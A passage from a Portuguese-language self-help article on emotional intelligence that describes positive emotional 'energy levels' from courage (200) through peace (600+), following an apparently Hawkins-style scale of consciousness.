A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

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